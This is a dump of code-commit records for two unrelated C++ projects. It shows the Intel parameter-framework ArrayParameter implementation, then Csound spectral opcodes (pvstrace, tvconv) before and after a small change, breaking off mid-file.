const\n{\n    size_t nbValues = getArrayLength();\n    size_t size = getSize();\n    size_t offset = getOffset();\n\n    values.clear();\n\n    for (size_t valueIndex = 0; valueIndex < nbValues; valueIndex++) {\n        type readValue;\n\n        if (!doGet(readValue, offset, parameterAccessContext)) {\n\n            return false;\n        }\n\n        values.push_back(readValue);\n\n        offset += size;\n    }\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::doSet(type value, size_t offset,\n                            CParameterAccessContext &parameterAccessContext) const\n{\n    uint32_t uiData;\n\n    if (!static_cast<const CParameterType *>(getTypeElement())\n             ->toBlackboard(value, uiData, parameterAccessContext)) {\n\n        return false;\n    }\n    \/\/ Write blackboard\n    CParameterBlackboard *pBlackboard = parameterAccessContext.getParameterBlackboard();\n\n    \/\/ Beware this code works on little endian architectures only!\n    pBlackboard->writeInteger(&uiData, getSize(), offset);\n\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::doGet(type &value, size_t offset,\n                            CParameterAccessContext &parameterAccessContext) const\n{\n    uint32_t uiData = 0;\n\n    \/\/ Read blackboard\n    const CParameterBlackboard *pBlackboard = parameterAccessContext.getParameterBlackboard();\n\n    \/\/ Beware this code works on little endian architectures only!\n    pBlackboard->readInteger(&uiData, getSize(), offset);\n\n    return static_cast<const CParameterType *>(getTypeElement())\n        ->fromBlackboard(value, uiData, parameterAccessContext);\n}\n<commit_msg>Fix dumpElement for ArrayParameters<commit_after>\/*\n * Copyright (c) 2011-2015, Intel Corporation\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors\n * may be used to endorse or promote products derived from this software without\n * specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n#include \"ArrayParameter.h\"\n#include <sstream> \/\/ for istringstream\n#include \"Tokenizer.h\"\n#include \"ParameterType.h\"\n#include \"ParameterAccessContext.h\"\n#include \"ConfigurationAccessContext.h\"\n#include \"ParameterBlackboard.h\"\n#include \"Utility.h\"\n#include <assert.h>\n\n#define base CParameter\n\nusing std::string;\n\nCArrayParameter::CArrayParameter(const string &strName, const CTypeElement *pTypeElement)\n    : base(strName, pTypeElement)\n{\n}\n\nsize_t CArrayParameter::getFootPrint() const\n{\n    return getSize() * getArrayLength();\n}\n\n\/\/ Array length\nsize_t CArrayParameter::getArrayLength() const\n{\n    return getTypeElement()->getArrayLength();\n}\n\n\/\/ Element properties\nvoid CArrayParameter::showProperties(string &strResult) const\n{\n    base::showProperties(strResult);\n\n    \/\/ Array length\n    strResult += \"Array length: \";\n    strResult += std::to_string(getArrayLength());\n    strResult += \"\\n\";\n}\n\n\/\/ User set\/get\nbool CArrayParameter::accessValue(CPathNavigator &pathNavigator, string &strValue, bool bSet,\n                                  CParameterAccessContext &parameterAccessContext) const\n{\n    size_t index;\n\n    if (!getIndex(pathNavigator, index, parameterAccessContext)) {\n\n        return false;\n    }\n\n    if (bSet) {\n        \/\/ Set\n        if (index == (size_t)-1) {\n\n            \/\/ No index provided, start with 0\n            index = 0;\n        }\n\n        \/\/ Actually set values\n        if (!setValues(index, getOffset() - parameterAccessContext.getBaseOffset(), strValue,\n                       parameterAccessContext)) {\n            return false;\n        }\n\n        \/\/ Synchronize\n        if (!sync(parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n    } else {\n        \/\/ Get\n        if (index == (size_t)-1) {\n\n            \/\/ Whole array requested\n            strValue = getValues(getOffset() - parameterAccessContext.getBaseOffset(),\n                                 parameterAccessContext);\n\n        } else {\n            \/\/ Scalar requested\n            CParameter::doGetValue(strValue, getOffset() + index * getSize(),\n                                   parameterAccessContext);\n        }\n    }\n\n    return true;\n}\n\n\/\/\/ Actual parameter access\n\/\/ String access\nbool CArrayParameter::doSetValue(const string &value, size_t offset,\n                                 CParameterAccessContext &parameterAccessContext) const\n{\n    return setValues(0, offset, value, parameterAccessContext);\n}\n\nvoid CArrayParameter::doGetValue(string &value, size_t offset,\n                                 CParameterAccessContext &parameterAccessContext) const\n{\n    \/\/ Whole array requested\n    value = getValues(offset, parameterAccessContext);\n}\n\n\/\/ Boolean\nbool CArrayParameter::access(std::vector<bool> &abValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(abValues, bSet, parameterAccessContext);\n}\n\n\/\/ Integer\nbool CArrayParameter::access(std::vector<uint32_t> &auiValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(auiValues, bSet, parameterAccessContext);\n}\n\n\/\/ Signed Integer Access\nbool CArrayParameter::access(std::vector<int32_t> &aiValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(aiValues, bSet, parameterAccessContext);\n}\n\n\/\/ Double Access\nbool CArrayParameter::access(std::vector<double> &adValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(adValues, bSet, parameterAccessContext);\n}\n\n\/\/ String Access\nbool CArrayParameter::access(std::vector<string> &astrValues, bool bSet,\n                             CParameterAccessContext &parameterAccessContext) const\n{\n    return accessValues(astrValues, bSet, parameterAccessContext);\n}\n\n\/\/ Dump\nstring CArrayParameter::logValue(CParameterAccessContext &context) const\n{\n    \/\/ Dump values\n    return getValues(getOffset() - context.getBaseOffset(), context);\n}\n\n\/\/ Used for simulation and virtual subsystems\nvoid CArrayParameter::setDefaultValues(CParameterAccessContext &parameterAccessContext) const\n{\n    \/\/ Get default value from type\n    uint32_t uiDefaultValue =\n        static_cast<const CParameterType *>(getTypeElement())->getDefaultValue();\n\n    \/\/ Write blackboard\n    CParameterBlackboard *pBlackboard = parameterAccessContext.getParameterBlackboard();\n\n    \/\/ Process\n    size_t valueIndex;\n    size_t size = getSize();\n    size_t offset = getOffset();\n    size_t arrayLength = getArrayLength();\n\n    for (valueIndex = 0; valueIndex < arrayLength; valueIndex++) {\n\n        \/\/ Beware this code works on little endian architectures only!\n        pBlackboard->writeInteger(&uiDefaultValue, size, offset);\n\n        offset += size;\n    }\n}\n\n\/\/ Index from path\nbool CArrayParameter::getIndex(CPathNavigator &pathNavigator, size_t &index,\n                               CParameterAccessContext &parameterAccessContext) const\n{\n    index = (size_t)-1;\n\n    string *pStrChildName = pathNavigator.next();\n\n    if (pStrChildName) {\n\n        \/\/ Check index is numeric\n        std::istringstream iss(*pStrChildName);\n\n        iss >> index;\n\n        if (!iss) {\n\n            parameterAccessContext.setError(\"Expected numerical expression as last item in \" +\n                                            pathNavigator.getCurrentPath());\n\n            return false;\n        }\n\n        if (index >= getArrayLength()) {\n            std::ostringstream oss;\n\n            oss << \"Provided index out of range (max is \" << getArrayLength() - 1 << \")\";\n\n            parameterAccessContext.setError(oss.str());\n\n            return false;\n        }\n\n        \/\/ Check no other item provided in path\n        pStrChildName = pathNavigator.next();\n\n        if (pStrChildName) {\n\n            \/\/ Should be leaf element\n            parameterAccessContext.setError(\"Path not found: \" + pathNavigator.getCurrentPath());\n\n            return false;\n        }\n    }\n\n    return true;\n}\n\n\/\/ Common set value processing\nbool CArrayParameter::setValues(size_t uiStartIndex, size_t offset, const string &strValue,\n                                CParameterAccessContext &parameterAccessContext) const\n{\n    \/\/ Deal with value(s)\n    Tokenizer tok(strValue, Tokenizer::defaultDelimiters + \",\");\n\n    std::vector<string> astrValues = tok.split();\n    size_t nbValues = astrValues.size();\n\n    \/\/ Check number of provided values\n    if (nbValues + uiStartIndex > getArrayLength()) {\n\n        \/\/ Out of bounds\n        parameterAccessContext.setError(\"Too many values provided\");\n\n        return false;\n    }\n\n    \/\/ Process\n    size_t valueIndex;\n    size_t size = getSize();\n    offset += uiStartIndex * size;\n\n    for (valueIndex = 0; valueIndex < nbValues; valueIndex++) {\n\n        if (!doSet(astrValues[valueIndex], offset, parameterAccessContext)) {\n\n            \/\/ Append parameter path to error\n            parameterAccessContext.appendToError(\" \" + getPath() + \"\/\" +\n                                                 std::to_string(valueIndex + uiStartIndex));\n\n            return false;\n        }\n\n        offset += size;\n    }\n    return true;\n}\n\n\/\/ Common get value processing\nstring CArrayParameter::getValues(size_t offset,\n                                  CParameterAccessContext &parameterAccessContext) const\n{\n    size_t size = getSize();\n    size_t arrayLength = getArrayLength();\n\n    string output;\n\n    bool bFirst = true;\n\n    for (size_t valueIndex = 0; valueIndex < arrayLength; valueIndex++) {\n        string strReadValue;\n\n        doGet(strReadValue, offset, parameterAccessContext);\n\n        if (!bFirst) {\n\n            output += \" \";\n        } else {\n\n            bFirst = false;\n        }\n\n        output += strReadValue;\n\n        offset += size;\n    }\n\n    return output;\n}\n\n\/\/ Generic Access\ntemplate <typename type>\nbool CArrayParameter::accessValues(std::vector<type> &values, bool bSet,\n                                   CParameterAccessContext &parameterAccessContext) const\n{\n    if (bSet) {\n\n        \/\/ Set Value\n        if (!setValues(values, parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n        if (!sync(parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n    } else {\n        \/\/ Get Value\n        if (!getValues(values, parameterAccessContext)) {\n\n            appendParameterPathToError(parameterAccessContext);\n            return false;\n        }\n    }\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::setValues(const std::vector<type> &values,\n                                CParameterAccessContext &parameterAccessContext) const\n{\n    size_t nbValues = getArrayLength();\n    size_t size = getSize();\n    size_t offset = getOffset();\n\n    assert(values.size() == nbValues);\n\n    \/\/ Process\n    for (size_t valueIndex = 0; valueIndex < nbValues; valueIndex++) {\n\n        if (!doSet(values[valueIndex], offset, parameterAccessContext)) {\n\n            return false;\n        }\n\n        offset += size;\n    }\n\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::getValues(std::vector<type> &values,\n                                CParameterAccessContext &parameterAccessContext) const\n{\n    size_t nbValues = getArrayLength();\n    size_t size = getSize();\n    size_t offset = getOffset();\n\n    values.clear();\n\n    for (size_t valueIndex = 0; valueIndex < nbValues; valueIndex++) {\n        type readValue;\n\n        if (!doGet(readValue, offset, parameterAccessContext)) {\n\n            return false;\n        }\n\n        values.push_back(readValue);\n\n        offset += size;\n    }\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::doSet(type value, size_t offset,\n                            CParameterAccessContext &parameterAccessContext) const\n{\n    uint32_t uiData;\n\n    if (!static_cast<const CParameterType *>(getTypeElement())\n             ->toBlackboard(value, uiData, parameterAccessContext)) {\n\n        return false;\n    }\n    \/\/ Write blackboard\n    CParameterBlackboard *pBlackboard = parameterAccessContext.getParameterBlackboard();\n\n    \/\/ Beware this code works on little endian architectures only!\n    pBlackboard->writeInteger(&uiData, getSize(), offset);\n\n    return true;\n}\n\ntemplate <typename type>\nbool CArrayParameter::doGet(type &value, size_t offset,\n                            CParameterAccessContext &parameterAccessContext) const\n{\n    uint32_t uiData = 0;\n\n    \/\/ Read blackboard\n    const CParameterBlackboard *pBlackboard = parameterAccessContext.getParameterBlackboard();\n\n    \/\/ Beware this code works on little endian architectures only!\n    pBlackboard->readInteger(&uiData, getSize(), offset);\n\n    return static_cast<const CParameterType *>(getTypeElement())\n        ->fromBlackboard(value, uiData, parameterAccessContext);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n  pvsops.c: pvs and other spectral-based opcodes\n\n  Copyright (C) 2017 Victor Lazzarini\n  This file is part of Csound.\n\n  The Csound Library is free software; you can redistribute it\n  and\/or modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  Csound is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with Csound; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n  02110-1301 USA\n*\/\n#include <algorithm>\n#include <plugin.h>\n\nstruct PVTrace : csnd::FPlugin<1, 2> {\n  csnd::AuxMem<float> amps;\n  static constexpr char const *otypes = \"f\";\n  static constexpr char const *itypes = \"fk\";\n\n  int init() {\n    if (inargs.fsig_data(0).isSliding())\n      return csound->init_error(\"sliding not supported\");\n\n    if (inargs.fsig_data(0).fsig_format() != csnd::fsig_format::pvs &&\n        inargs.fsig_data(0).fsig_format() != csnd::fsig_format::polar)\n      return csound->init_error(\"fsig format not supported\");\n\n    amps.allocate(csound, inargs.fsig_data(0).nbins());\n    csnd::Fsig &fout = outargs.fsig_data(0);\n    fout.init(csound, inargs.fsig_data(0));\n    framecount = 0;\n    return OK;\n  }\n\n  int kperf() {\n    csnd::pv_frame &fin = inargs.fsig_data(0);\n    csnd::pv_frame &fout = outargs.fsig_data(0);\n\n    if (framecount < fin.count()) {\n      int n = fin.len() - (int)inargs[1];\n      float thrsh;\n      std::transform(fin.begin(), fin.end(), amps.begin(),\n                     [](csnd::pv_bin f) { return f.amp(); });\n      std::nth_element(amps.begin(), amps.begin() + n, amps.end());\n      thrsh = amps[n];\n      std::transform(fin.begin(), fin.end(), fout.begin(),\n                     [thrsh](csnd::pv_bin f) {\n                       return f.amp() >= thrsh ? f : csnd::pv_bin();\n                     });\n      framecount = fout.count(fin.count());\n    }\n    return OK;\n  }\n};\n\nstruct binamp {\n  int bin;\n  float amp;\n};\n\nstruct PVTrace2 : csnd::FPlugin<1, 2> {\n  csnd::AuxMem<float> amps;\n  csnd::AuxMem<binamp> binlist;\n  static constexpr char const *otypes = \"fk[]\";\n  static constexpr char const *itypes = \"fk\";\n\n  int init() {\n    csnd::Vector<MYFLT> &bins = outargs.vector_data<MYFLT>(1);\n    if (inargs.fsig_data(0).isSliding())\n      return csound->init_error(\"sliding not supported\");\n\n    if (inargs.fsig_data(0).fsig_format() != csnd::fsig_format::pvs &&\n        inargs.fsig_data(0).fsig_format() != csnd::fsig_format::polar)\n      return csound->init_error(\"fsig format not supported\");\n\n    amps.allocate(csound, inargs.fsig_data(0).nbins());\n    binlist.allocate(csound, inargs.fsig_data(0).nbins());\n    csnd::Fsig &fout = outargs.fsig_data(0);\n    fout.init(csound, inargs.fsig_data(0));\n\n    bins.init(csound, inargs.fsig_data(0).nbins());\n    \n    framecount = 0;\n    return OK;\n  }\n\n  int kperf() {\n    csnd::pv_frame &fin = inargs.fsig_data(0);\n    csnd::pv_frame &fout = outargs.fsig_data(0);\n    csnd::Vector<MYFLT> &bins = outargs.vector_data<MYFLT>(1);\n    csnd::AuxMem<binamp> &mbins = binlist;\n\n    if (framecount < fin.count()) {\n      int n = fin.len() - (int)inargs[1];\n      float thrsh;\n      int cnt = 0;\n      int bin = 0;\n      std::transform(fin.begin(), fin.end(), amps.begin(),\n                     [](csnd::pv_bin f) { return f.amp(); });\n      std::nth_element(amps.begin(), amps.begin() + n, amps.end());\n      thrsh = amps[n];\n      std::transform(fin.begin(), fin.end(), fout.begin(),\n                     [thrsh, &mbins, &cnt, &bin](csnd::pv_bin f) {\n                       if(f.amp() >= thrsh) {\n                       mbins[cnt].bin = bin++;\n                       mbins[cnt++].amp = f.amp();\n                       return f;\n                       }\n                       else {\n                        bin++;\n                        return csnd::pv_bin();\n                       }\n                     });\n      std::sort(binlist.begin(), binlist.begin()+cnt, [](binamp &a, binamp &b) {\n          return (a.amp > b.amp);   \n      });\n      std::transform(binlist.begin(), binlist.begin()+cnt, bins.begin(),\n                     [](binamp a) { return (MYFLT) a.bin;});\n     \n      std::fill(bins.begin()+cnt, bins.end(), FL(0.0));\n      \n      framecount = fout.count(fin.count());\n    }\n    \n    \n    return OK;\n  }\n};\n\n\n\nstruct TVConv : csnd::Plugin<1, 6> {\n  csnd::AuxMem<MYFLT> ir;\n  csnd::AuxMem<MYFLT> in;\n  csnd::AuxMem<MYFLT> insp;\n  csnd::AuxMem<MYFLT> irsp;\n  csnd::AuxMem<MYFLT> out;\n  csnd::AuxMem<MYFLT> saved;\n  csnd::AuxMem<MYFLT>::iterator itn;\n  csnd::AuxMem<MYFLT>::iterator itr;\n  csnd::AuxMem<MYFLT>::iterator itnsp;\n  csnd::AuxMem<MYFLT>::iterator itrsp;\n  uint32_t n;\n  uint32_t fils;\n  uint32_t pars;\n  uint32_t ffts;\n  csnd::fftp fwd, inv;\n  typedef std::complex<MYFLT> cmplx;\n\n  uint32_t rpow2(uint32_t n) {\n    uint32_t v = 2;\n    while (v <= n)\n      v <<= 1;\n    if ((n - (v >> 1)) < (v - n))\n      return v >> 1;\n    else\n      return v;\n  }\n\n  cmplx *to_cmplx(MYFLT *f) { return reinterpret_cast<cmplx *>(f); }\n\n  cmplx real_prod(cmplx &a, cmplx &b) {\n    return cmplx(a.real() * b.real(), a.imag() * b.imag());\n  }\n\n  int init() {\n    pars = inargs[4];\n    fils = inargs[5];\n    if (pars > fils)\n      std::swap(pars, fils);\n    if (pars > 1) {\n      pars = rpow2(pars);\n      fils = rpow2(fils) * 2;\n      ffts = pars * 2;\n      fwd = csound->fft_setup(ffts, FFT_FWD);\n      inv = csound->fft_setup(ffts, FFT_INV);\n      out.allocate(csound, ffts);\n      insp.allocate(csound, fils);\n      irsp.allocate(csound, fils);\n      saved.allocate(csound, pars);\n      ir.allocate(csound, fils);\n      in.allocate(csound, fils);\n      itnsp = insp.begin();\n      itrsp = insp.begin();\n      n = 0;\n    } else {\n      ir.allocate(csound, fils);\n      in.allocate(csound, fils);\n    }\n    itn = in.begin();\n    itr = ir.begin();\n    return OK;\n  }\n\n  int pconv() {\n    csnd::AudioSig insig(this, inargs(0));\n    csnd::AudioSig irsig(this, inargs(1));\n    csnd::AudioSig outsig(this, outargs(0));\n    auto irp = irsig.begin();\n    auto inp = insig.begin();\n    auto *frz1 = inargs(2);\n    auto *frz2 = inargs(3);\n    auto inc1 = csound->is_asig(frz1);\n    auto inc2 = csound->is_asig(frz2);\n\n    for (auto &s : outsig) {\n      if (*frz1 > 0)\n        itn[n] = *inp;\n      if (*frz2 > 0)\n        itr[n] = *irp;\n\n      s = out[n] + saved[n];\n      saved[n] = out[n + pars];\n      if (++n == pars) {\n        cmplx *ins, *irs, *ous = to_cmplx(out.data());\n        std::copy(itn, itn + ffts, itnsp);\n        std::copy(itr, itr + ffts, itrsp);\n        std::fill(out.begin(), out.end(), 0.);\n        \/\/ FFT\n        csound->rfft(fwd, itnsp);\n        csound->rfft(fwd, itrsp);\n        \/\/ increment iterators\n        itnsp += ffts, itrsp += ffts;\n        itn += ffts, itr += ffts;\n        if (itnsp == insp.end()) {\n          itnsp = insp.begin();\n          itrsp = irsp.begin();\n          itn = in.begin();\n          itr = ir.begin();\n        }\n        \/\/ spectral delay line\n        for (csnd::AuxMem<MYFLT>::iterator it1 = itnsp, it2 = irsp.end() - ffts;\n             it2 >= irsp.begin(); it1 += ffts, it2 -= ffts) {\n          if (it1 == insp.end())\n            it1 = insp.begin();\n          ins = to_cmplx(it1);\n          irs = to_cmplx(it2);\n          \/\/ spectral product\n          for (uint32_t i = 1; i < pars; i++)\n            ous[i] += ins[i] * irs[i];\n          ous[0] += real_prod(ins[0], irs[0]);\n        }\n        \/\/ IFFT\n        csound->rfft(inv, out.data());\n        n = 0;\n      }\n      frz1 += inc1, frz2 += inc2;\n      irp++, inp++;\n    }\n    return OK;\n  }\n\n  int dconv() {\n    csnd::AudioSig insig(this, inargs(0));\n    csnd::AudioSig irsig(this, inargs(1));\n    csnd::AudioSig outsig(this, outargs(0));\n    auto irp = irsig.begin();\n    auto inp = insig.begin();\n    auto frz1 = inargs(2);\n    auto frz2 = inargs(3);\n    auto inc1 = csound->is_asig(frz1);\n    auto inc2 = csound->is_asig(frz2);\n\n    for (auto &s : outsig) {\n      if (*frz1 > 0)\n        *itn = *inp;\n      if (*frz2 > 0)\n        *itr = *irp;\n      itn++, itr++;\n      if (itn == in.end()) {\n        itn = in.begin();\n        itr = ir.begin();\n      }\n      s = 0.;\n      for (csnd::AuxMem<MYFLT>::iterator it1 = itn, it2 = ir.end() - 1;\n           it2 >= ir.begin(); it1++, it2--) {\n        if (it1 == in.end())\n          it1 = in.begin();\n        s += *it1 * *it2;\n      }\n      frz1 += inc1, frz2 += inc2;\n      inp++, irp++;\n    }\n    return OK;\n  }\n\n  int aperf() {\n    if (pars > 1)\n      return pconv();\n    else\n      return dconv();\n  }\n};\n\n\/*\nclass PrintThread : public csnd::Thread {\n  std::atomic_bool splock;\n  std::atomic_bool on;\n  std::string message;\n\n  void lock() {\n    bool tmp = false;\n    while(!splock.compare_exchange_weak(tmp,true))\n      tmp = false;\n  }\n\n  void unlock() {\n    splock = false;\n  }\n\n  uintptr_t run() {\n    std::string old;\n    while(on) {\n      lock();\n      if(old.compare(message)) {\n       csound->message(message.c_str());\n       old = message;\n      }\n      unlock();\n    }\n    return 0;\n  }\n\npublic:\n  PrintThread(csnd::Csound *csound)\n    : Thread(csound), splock(false), on(true), message(\"\") {};\n\n  ~PrintThread(){\n    on = false;\n    join();\n  }\n\n  void set_message(const char *m) {\n    lock();\n    message = m;\n    unlock();\n  }\n\n};\n\n\nstruct TPrint : csnd::Plugin<0, 1> {\n  static constexpr char const *otypes = \"\";\n  static constexpr char const *itypes = \"S\";\n  PrintThread t;\n\n  int init() {\n    csound->plugin_deinit(this);\n    csnd::constr(&t, csound);\n    return OK;\n  }\n\n  int deinit() {\n    csnd::destr(&t);\n    return OK;\n  }\n\n  int kperf() {\n    t.set_message(inargs.str_data(0).data);\n    return OK;\n  }\n};\n*\/\n\n#include <modload.h>\nvoid csnd::on_load(Csound *csound) {\n  csnd::plugin<PVTrace>(csound, \"pvstrace\", csnd::thread::ik);\n  csnd::plugin<PVTrace2>(csound, \"pvstrace\", csnd::thread::ik);\n  csnd::plugin<TVConv>(csound, \"tvconv\", \"a\", \"aaxxii\", csnd::thread::ia);\n}\n<commit_msg>params<commit_after>\/*\n  pvsops.c: pvs and other spectral-based opcodes\n\n  Copyright (C) 2017 Victor Lazzarini\n  This file is part of Csound.\n\n  The Csound Library is free software; you can redistribute it\n  and\/or modify it under the terms of the GNU Lesser General Public\n  License as published by the Free Software Foundation; either\n  version 2.1 of the License, or (at your option) any later version.\n\n  Csound is distributed in the hope that it will be useful,\n  but WITHOUT ANY WARRANTY; without even the implied warranty of\n  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n  GNU Lesser General Public License for more details.\n\n  You should have received a copy of the GNU Lesser General Public\n  License along with Csound; if not, write to the Free Software\n  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n  02110-1301 USA\n*\/\n#include <algorithm>\n#include <plugin.h>\n\nstruct PVTrace : csnd::FPlugin<1, 2> {\n  csnd::AuxMem<float> amps;\n  static constexpr char const *otypes = \"f\";\n  static constexpr char const *itypes = \"fk\";\n\n  int init() {\n    if (inargs.fsig_data(0).isSliding())\n      return csound->init_error(\"sliding not supported\");\n\n    if (inargs.fsig_data(0).fsig_format() != csnd::fsig_format::pvs &&\n        inargs.fsig_data(0).fsig_format() != csnd::fsig_format::polar)\n      return csound->init_error(\"fsig format not supported\");\n\n    amps.allocate(csound, inargs.fsig_data(0).nbins());\n    csnd::Fsig &fout = outargs.fsig_data(0);\n    fout.init(csound, inargs.fsig_data(0));\n    framecount = 0;\n    return OK;\n  }\n\n  int kperf() {\n    csnd::pv_frame &fin = inargs.fsig_data(0);\n    csnd::pv_frame &fout = outargs.fsig_data(0);\n\n    if (framecount < fin.count()) {\n      int n = fin.len() - (int)inargs[1];\n      float thrsh;\n      std::transform(fin.begin(), fin.end(), amps.begin(),\n                     [](csnd::pv_bin f) { return f.amp(); });\n      std::nth_element(amps.begin(), amps.begin() + n, amps.end());\n      thrsh = amps[n];\n      std::transform(fin.begin(), fin.end(), fout.begin(),\n                     [thrsh](csnd::pv_bin f) {\n                       return f.amp() >= thrsh ? f : csnd::pv_bin();\n                     });\n      framecount = fout.count(fin.count());\n    }\n    return OK;\n  }\n};\n\nstruct binamp {\n  int bin;\n  float amp;\n};\n\nstruct PVTrace2 : csnd::FPlugin<1, 2> {\n  csnd::AuxMem<float> amps;\n  csnd::AuxMem<binamp> binlist;\n  static constexpr char const *otypes = \"fk[]\";\n  static constexpr char const *itypes = \"fk\";\n\n  int init() {\n    csnd::Vector<MYFLT> &bins = outargs.vector_data<MYFLT>(1);\n    if (inargs.fsig_data(0).isSliding())\n      return csound->init_error(\"sliding not supported\");\n\n    if (inargs.fsig_data(0).fsig_format() != csnd::fsig_format::pvs &&\n        inargs.fsig_data(0).fsig_format() != csnd::fsig_format::polar)\n      return csound->init_error(\"fsig format not supported\");\n\n    amps.allocate(csound, inargs.fsig_data(0).nbins());\n    binlist.allocate(csound, inargs.fsig_data(0).nbins());\n    csnd::Fsig &fout = outargs.fsig_data(0);\n    fout.init(csound, inargs.fsig_data(0));\n\n    bins.init(csound, inargs.fsig_data(0).nbins());\n    \n    framecount = 0;\n    return OK;\n  }\n\n  int kperf() {\n    csnd::pv_frame &fin = inargs.fsig_data(0);\n    csnd::pv_frame &fout = outargs.fsig_data(0);\n    csnd::Vector<MYFLT> &bins = outargs.vector_data<MYFLT>(1);\n    csnd::AuxMem<binamp> &mbins = binlist;\n\n    if (framecount < fin.count()) {\n      int n = fin.len() - (int)inargs[1];\n      float thrsh;\n      int cnt = 0;\n      int bin = 0;\n      std::transform(fin.begin(), fin.end(), amps.begin(),\n                     [](csnd::pv_bin f) { return f.amp(); });\n      std::nth_element(amps.begin(), amps.begin() + n, amps.end());\n      thrsh = amps[n];\n      std::transform(fin.begin(), fin.end(), fout.begin(),\n                     [thrsh, &mbins, &cnt, &bin](csnd::pv_bin f) {\n                       if(f.amp() >= thrsh) {\n                       mbins[cnt].bin = bin++;\n                       mbins[cnt++].amp = f.amp();\n                       return f;\n                       }\n                       else {\n                        bin++;\n                        return csnd::pv_bin();\n                       }\n                     });\n      std::sort(binlist.begin(), binlist.begin()+cnt, [](binamp a, binamp b) {\n          return (a.amp > b.amp);   \n      });\n      std::transform(binlist.begin(), binlist.begin()+cnt, bins.begin(),\n                     [](binamp a) { return (MYFLT) a.bin;});\n     \n      std::fill(bins.begin()+cnt, bins.end(), FL(0.0));\n      \n      framecount = fout.count(fin.count());\n    }\n    \n    \n    return OK;\n  }\n};\n\n\n\nstruct TVConv : csnd::Plugin<1, 6> {\n  csnd::AuxMem<MYFLT> ir;\n  csnd::AuxMem<MYFLT> in;\n  csnd::AuxMem<MYFLT> insp;\n  csnd::AuxMem<MYFLT> irsp;\n  csnd::AuxMem<MYFLT> out;\n  csnd::AuxMem<MYFLT> saved;\n  csnd::AuxMem<MYFLT>::iterator itn;\n  csnd::AuxMem<MYFLT>::iterator itr;\n  csnd::AuxMem<MYFLT>::iterator itnsp;\n  csnd::AuxMem<MYFLT>::iterator itrsp;\n  uint32_t n;\n  uint32_t fils;\n  uint32_t pars;\n  uint32_t ffts;\n  csnd::fftp fwd, inv;\n  typedef std::complex<MYFLT> cmplx;\n\n  uint32_t rpow2(uint32_t n) {\n    uint32_t v = 2;\n    while (v <= n)\n      v <<= 1;\n    if ((n - (v >> 1)) < (v - n))\n      return v >> 1;\n    else\n      return v;\n  }\n\n  cmplx *to_cmplx(MYFLT *f) { return reinterpret_cast<cmplx *>(f); }\n\n  cmplx real_prod(cmplx &a, cmplx &b) {\n    return cmplx(a.real() * b.real(), a.imag() * b.imag());\n  }\n\n  int init() {\n    pars = inargs[4];\n    fils = inargs[5];\n    if (pars > fils)\n      std::swap(pars, fils);\n    if (pars > 1) {\n      pars = rpow2(pars);\n      fils = rpow2(fils) * 2;\n      ffts = pars * 2;\n      fwd = csound->fft_setup(ffts, FFT_FWD);\n      inv = csound->fft_setup(ffts, FFT_INV);\n      out.allocate(csound, ffts);\n      insp.allocate(csound, fils);\n      irsp.allocate(csound, fils);\n      saved.allocate(csound, pars);\n      ir.allocate(csound, fils);\n      in.allocate(csound, fils);\n      itnsp = insp.begin();\n      itrsp = insp.begin();\n      n = 0;\n    } else {\n      ir.allocate(csound, fils);\n      in.allocate(csound, fils);\n    }\n    itn = in.begin();\n    itr = ir.begin();\n    return OK;\n  }\n\n  int pconv() {\n    csnd::AudioSig insig(this, inargs(0));\n    csnd::AudioSig irsig(this, inargs(1));\n    csnd::AudioSig outsig(this, outargs(0));\n    auto irp = irsig.begin();\n    auto inp = insig.begin();\n    auto *frz1 = 